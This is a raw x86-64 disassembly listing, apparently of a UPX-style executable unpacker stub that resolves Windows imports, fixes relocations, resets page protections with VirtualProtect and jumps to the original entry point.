stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140151415
lodsb al, byte [rsi]
jmp 0x1401513f4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x14e000]
mov eax, dword [rdi]
or eax, eax
je 0x140151472
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1510f0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140151422
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14015146c
mov qword [rbx], rax
add rbx, 8
jmp 0x140151442
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401514ac
cmp al, 0xef
ja 0x14015149e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14015147e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14015148d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140151500
sub rsp, 0xffffffffffffff80
jmp 0x14008f974